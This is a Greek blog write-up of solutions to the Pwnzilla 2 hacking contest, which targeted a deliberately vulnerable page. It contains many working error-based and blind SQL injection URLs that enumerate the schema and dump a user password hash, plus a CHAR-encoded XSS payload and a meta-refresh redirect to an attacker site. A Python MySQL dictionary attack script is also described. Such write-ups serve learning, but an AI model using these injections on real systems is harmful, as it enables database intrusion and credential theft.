Pwnzilla - Challenge Attacks
Μετά την ολοκλήρωση του επιτυχημένου διαγωνισμού Pwnzilla 2 θα ήθελα να πω την γνώμη μου αλλά και να δώσω τις δικές μου λύσεις.Οι διαγωνισμοί σε κρατάνε σε εγρήγορση και σε μικρό χρονικό διάστημα μπορείς να μάθεις αρκετά λόγω της χρονικής πίεσης.
Στην δική μου περίπτωση μέσα σε λίγες ημέρες έμαθα αρκετά για «Blind SQL injection» αλλά και για να φτιάξω ένα μικρό python script για dictionary password attack στoν ROOT χρήστη[ Μήπως ήμουν τυχερός :) ].
Στη σελίδα δεν υπήρχε μόνο SQL injection αλλά και XSS όπως θα δείτε και παρακάτω στις δοκιμές που έκανα.
Ο τρόπος της επίθεσης δεν διαφέρει σε τίποτα με τροπό που χρησιμοποιούν οι hacker.H έννοια του pentesting είναι αυτή
Καταρχήν θα ήθελα να δώσω τα συγχαρητήρια μου στον νικητή του διαγωνισμού Pwnzilla 2 Γιώργο Σπανό αλλά και στους διοργανωτές που θα πρέπει να μας δοκιμάζουν συχνότερα.
Κατά την γνώμη μου μεγάλες ελληνικές σελίδες πριν φιλοξενήσουν προσωπικά δεδομένα χρηστών θα πρέπει να δοκιμάζονται όπως έγινε και στο Pwnzilla challenge
Το επίπεδο του διαγωνισμού ήταν αρκετά υψηλό γιατί οι διαχειριστές ήταν πολύ καλοί γνώστες των SQL Injection επιθέσεων. Τα φίλτρα τους μπλόκαραν πολλές λέξεις κλειδιά (π.χ LOAD_FILE,INTO κτλ)
-Θα αναρωτιέται κάποιος γιατί να διαβάσει και να μάθει SQL injection και Blind Injection όταν υπάρχει το sqlmap?
- Αν το SQL Map αποτύχει; Θα πρέπει να είσαι σε θέση είτε να φτιάξεις το δικό σου εργαλείο ή να προσπαθείς manual να βρεις τα προβλήματα. Βέβαια είναι δική σας η επιλογή απλά εγώ χρησιμοποίησα τον manual τρόπο για να μπορέσω να μάθω όσο γίνεται περισσότερα.
Ας δούμε μαζί μερικές από τις λύσεις μου
Βέβαια πριν φτάσω στο επιθυμητό αποτέλεσμα δοκίμασα τα εξής χωρίς επιτυχία:
1)Shellshock
2)HTTP split
3)Header attack (Cookie,User-Agent,Host)
Εργαλεία που χρησιμοποίησα ήταν το Burp Suite,Wireshark
//SELECT command denied to user “n3wdb0wn3r2’@’localhost” for table “user”
http://pwnzilla.secnews.gr/ pz2.php?id=`id` < (select concat_ws(0x3a,user,password) from mysql.user)0509
//Duplicate column name “5.5.43-0+deb7u1′
http://pwnzilla.secnews.gr/ pz2.php?id=`id` <(select * from(select name_const(version(),1),name_ const(version(),1))a)0509
//Return more tha one row
http://pwnzilla.secnews.gr/ pz2.php?id=`id` <(select schema_name from information_schema.schemata) 0509
//HTML injection – Frond end Attack
http://pwnzilla.secnews.gr/ pz2.php?id=`id` < (if(3>1,`<iframe><>`,0))0509
//HTTP Response MITM attack
Στην
παρακάτω επίθεση αν το url αλλάξει τότε ο χρήστης μπορεί να μεταφερθεί
στο site του hacker ή να κατεβάσει από FTP κακόβουλο πρόγραμμα.
Edit Response
<meta http-equiv=»refresh» content=»0; url=<Attacker Site or FTP>» />
//databases (Συνολο=2)
http://pwnzilla.secnews.gr/pz2.php?id=`id` <(if((SELECT count(*) FROM information_schema.schemata) > 2,1,2))0511
//tables (Σύνολο=41)
http://pwnzilla.secnews.gr/pz2.php?id=`id` <(if((SELECT count(*) FROM information_schema.tables) > 41,1,2))0511
//database version 5.5.43
http://pwnzilla.secnews.gr/pz2.php?id=`id` <(if(mid(@@version,1,1)>4,1,2))0511
http://pwnzilla.secnews.gr/pz2.php?id=`id` <(if(mid(@@version,3,1)>4,1,2))0511
http://pwnzilla.secnews.gr/pz2.php?id=`id` <(if(mid(@@version,5,1)>3,1,2))0511
http://pwnzilla.secnews.gr/pz2.php?id=`id` <(if(mid(@@version,6,1)>2,1,2))0511
//Data dir XPATH syntax error: “/var/lib/mysql/”
http://pwnzilla.secnews.gr/ pz2.php?id=`id` <(if(3>1,(select extractvalue(0,(select concat_ws(CHAR(47),CHAR(47),( select @@datadir))))),3))0513
//XPATH syntax error: “e85dd3-f97b-11e4-bf21-406186cbf1“ UUID [Web Server MAC Address]
http://pwnzilla.secnews.gr/ pz2.php?id=`id` <(if(3>1,(select extractvalue(0,(select concat_ws(CHAR(47),CHAR(47),( uuid()))))),3))0513
//XSS Attack
http://pwnzilla.secnews.gr/ pz2.php?id=`id` <(if(3>1,(select extractvalue(0,(select concat_ws(CHAR(47),CHAR(47),( select
concat_ws(char(95),CHAR(60, 115, 99, 114, 105, 112, 116, 62, 97, 108,
101, 114, 116, 40, 39, 88, 83, 83, 39, 41, 60, 47, 115, 99, 114, 105,
112, 116, 62),@@hostname)))))),3))0514
//Password 23b59b78056e436fbfaeeb63ed03a443 MD5 hash >>> pwner
http://pwnzilla.secnews.gr/ pz2.php?id=`id` <(if(3>1,(select extractvalue(0,(select concat_ws(CHAR(47),CHAR(47),( select group_concat(concat_ws(0x3a, substr(password,1,10), password)) from users))))),3))0518
//Column_name [offset 480-483]
Εδώ έπαιξα λίγο με το offset
http://pwnzilla.secnews.gr/ pz2.php?id=`id` <(if(3>1,(select extractvalue(0,(select concat_ws(CHAR(47),CHAR(47),( select group_concat(concat_ws(0x3a, substr(password,1,2),(SELECT concat_ws(0x3a,table_schema, table_name,column_name) from information_schema.columns limit 1 offset 480))) from users))))),3))0518
XPATH syntax error: “:L02DB:pages:id”
XPATH syntax error: “:L02DB:Pages:Title”
XPATH syntax error: “:L02DB:pages:Content”
XPATH syntax error: “:L02DB:pages:Author”
//Column_name [offset 484-486]
XPATH syntax error: “:L02DB:users:id”
XPATH syntax error: “:L02DB:users:username”
XPATH syntax error: “:L02DB:users:password”
Πληροφορίες σχετικά με Advanced SQL Injection μπορείτε να διαβάσετε εδώ:
Python Script
Τώρα σχετικά με το python script μπορείτε να το κατεβάσετε από εδώ.Είναι
κάτι πολύ απλό που ήδη το βελτιώνω προσαρμόζωντας
αντικειμενοστραφή.Δημιουργήστε μία wordlist,ανοίξτε το πρόγραμμα με ένα
σημειωματάριο στο σημείο «Open File» διορθώστε το Path.Δείτε στο
wireshark τι συμβαίνει όταν τρέχετε το script.
Εκτέλεση -> ./mysql_pass.py
Ερώτηση
Πως θα μπορούσατε να χρησιμοποιήσετε το Metasploit ή το Hydra για να κάνετε μία τέτοια επίθεση απευθείας στην MYSQL; Μπορείτε αν θέλετε να απαντήσετε στα σχόλια.
Thanks a lot for sharing such a detailed Website with more knowledge.I want to learn Python
ReplyDelete(programming language) and
Metasploit .So What are some good, free resources to learn Python?
Have a more successful journey ahead.